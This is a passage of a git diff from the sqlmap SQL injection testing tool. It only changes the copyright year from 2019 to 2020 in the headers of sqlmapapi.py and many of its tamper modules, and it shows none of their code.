(http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index 9af5ab71660..f178334e78a 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index d5ed52de31f..6c2c243a4bd 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 751c0096bcc..ae0a9bc5130 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5d23e4d5789..88ee1d5229d 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 9718da1e057..0aa8185a3ff 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index e8d46b8f435..c222fb470e6 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 0ec2af80c13..d488280bd13 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 512c2b3b4c6..128d4100ead 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index bf2283b1f70..8e4330a84ba 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index ba7a8dea1d1..59258ef263c 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 790d8d6c49a..4e749ffbb8b 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 7ebecbcecb4..5d062ead7ff 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 3795868297a..fb7f500a8d5 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index 23933c279ea..da59c92a592 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index d2663bb2f79..c13d50a92a5 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index bc65eff13db..56d70fd97ff 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index db7c4c38876..2a52be97355 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 989280cc89d..6c654e6fe61 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 3d4f91d2a61..84256d33253 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 71d1f1ed4ee..bdfa32feb94 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 8eed7b406b6..2a751235157 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index b7680ff1300..f5f13c37b24 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index c933751ce3d..22c0d409b0d 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 7076fecaa70..101ab13d720 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index 53a8a6aadef..bd085d25f1d 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 101e4436a70..3b3c18b4488 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index e50675744e8..bffc4793be5 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 605c1aee200..05b8de00fd5 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index af358f58b9a..774a1cbf3ca 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index ec8b2d6d3a2..a190c9d283f 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 5cc28a6308a..21a1ec4537a 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 301945f4f6f..d2a5fa4ea7d 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index a97c96942a0..4045a47906f 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index f94d2668593..7aecbb9fd43 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index c0002e53be1..cdb799b3e76 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 766693eb407..c39b6648c8f 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 678c36a9200..53882e8bb87 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 0f2f813a49b..054bcd07be8 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 7db34f56e61..e81fa6363e8 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 445ade42121..07629fc9fc4 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 41613326097..1325b630297 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 39499c117c2..9061baa0813 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index be2d0c66958..fa901db329e 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 0e4135daf8c..c9098413ea3 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index f0d88fe0125..d2810b0e928 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 7352d417a24..78d46f399ef 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 917505a4aa8..ef5d2489d3b 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 8fc74c8b1d3..ceb2be99548 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 343afa8d948..690cb335304 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 4ed890c0b7c..94a1520e865 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 88af8f9adf9..f8f694a748f 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 6d24acb062a..24f600d1aa3 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index a89e0a75eaf..c404945dc0a 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index faec80704ba..320527d80fc 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 6b79f494ca3..6722d8ed75f 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index e2c3fcc4d46..c78495a77ca 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 035a05a7953..a2bbabfc19c 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index e6cadf2d0a3..ab33c6b1181 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """